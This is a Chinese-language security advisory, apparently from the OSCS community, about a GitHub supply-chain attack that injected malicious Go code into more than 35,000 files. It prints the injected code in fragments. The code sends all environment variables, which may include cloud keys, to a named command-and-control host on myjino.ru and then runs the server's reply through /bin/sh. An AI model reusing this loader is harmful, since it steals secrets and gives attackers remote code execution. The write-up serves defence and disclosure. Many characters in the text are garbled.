关于github:GitHub-中超过35万开源代码被投毒

2次阅读

共计 1970 个字符,预计需要花费 5 分钟才能阅读完成。

事件简述

oscs 开源平安社区监测到 8 月 3 日 13 时,名为 Stephen Lacy 的工程师在 Twitter 中示意其发现 GitHub 中大量仓库被退出了恶意代码,感化文件超过 3.5 万,波及 Go 代码、NPM 装置脚本、容器镜像配置等内容。

  • 被感化的仓库大多数处在长期不保护的状态,star 和 fork 数量根本为 0
  • 恶意代码在最早在 2019 年曾经提交进局部仓库,不少仓库是在最近 10 天左右被感化
  • 信息收集和控制指令的服务地址位于俄罗斯

15 时许,GitHub 开始对受影响仓库进行清理,以后受影响仓库曾经全副无法访问。

因为被投毒的开源仓库大多无人关注,预计此次事件自身的理论影响较小,但从攻打手法上来看体现了攻击者有较强的工程化利用能力。

ovz1.j19544519 作为关键词在 GitHub 中能够搜寻到超过 3.5 万个代码文件的后果。

最早提交的恶意代码是在 2019 年

https://github.com/promonlogicalis/asn1/blob/7bdca06d0edf895069dc25fb60a49c6dae27b916/context.go#L241

攻打手法剖析

目前官网暂未给出该事件具体起因,对于此事件波及泛滥账号,咱们猜测可能存在以下三种状况:

  • GitHub 账号撞库

    •   抽样统计能够发现,多个被投毒的账号密码此前曾经透露,因而可能通过撞库取得账号权限
  • GitHub API Token 透露

攻击者通过收集公开透露的 token,从而对仓库进行间接操作

  • 攻击者注册了一批马甲账号

攻击者可能注册了一批虚伪的马甲账号,模拟实在我的项目,再通过马甲账号公布与原仓库相似的代码

恶意代码剖析

投毒的仓库大多为 go 的仓库,其中恶意代码如下,逻辑自身较为简单。非凡的是除了恶意代码外,攻击者在 commit 中还退出了「真切」的正文、license、commit 阐明等内容,使得恶意代码更容易暗藏。

攻击者可能通过收集原仓库 commit 信息,而后生成与之类似的后果,例如与代码变更相符的 Update README.md 或 Update license 提交,体现了攻击者有较强的工程化能力。

代码会先尝试获取 ”e452d6ab” 环境变量,如果为 ”e452d6ab” 值为 1 则间接完结运行。

  if os__.Getenv("e452d6ab") == "1" {return}

如果找不到对应的环境变量则设置 ”e452d6ab” 环境变量,避免反复执行,而后将以后环境的环境变量转为 json 格局的变量 env。

  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {return}

再将对应的环境变量发送给歹意服务器,环境变量中可能会蕴含 AWS access keys,Crypto keys 等敏感内容。

 res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=gojek-engineering&repo=go-multierror", "application/json", bytes__.NewBuffer(env))
  if err != nil {return}

最初应用 sh 执行歹意服务器的返回内容,为接下来的近程管制服务器,长久化连贯,窃取敏感信息等歹意行为做筹备。

  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {return}
  if string(body) != "" {exec__.Command("/bin/sh", "-c", string(body)).Start()}
}

恶意代码中的 C&C 地址 ovz1.j19544519.pr46m.vps.myjino.ru,由俄罗斯的一家云服务器厂商 Джино 提供,因而攻击者位于俄罗斯的可能性较高。

针对开发者的倡议

以后被投毒的仓库曾经被 GitHub 官网删除,这些仓库大多无人关注,因而此次事件自身的理论影响较小,开发者在应用开源组件时须要留神甄别。

从账号平安的角度来看,开发者须要尽量启用多因素验证、防止 API token 的透露,避免本人的我的项目被利用退出恶意代码。

情报订阅

OSCS(开源软件供应链平安社区)通过最快、最全的形式,公布开源我的项目最新的平安危险动静,包含开源组件安全漏洞、事件等信息。同时提供破绽、投毒情报的收费订阅服务,社区用户可通过配置飞书、钉钉、企业微信机器人,及时取得一手情报信息推送:

https://www.oscs1024.com/?src=sf

具体订阅形式详见:

https://www.oscs1024.com/docs/vuln-warning/intro/?src=sf

正文完
 0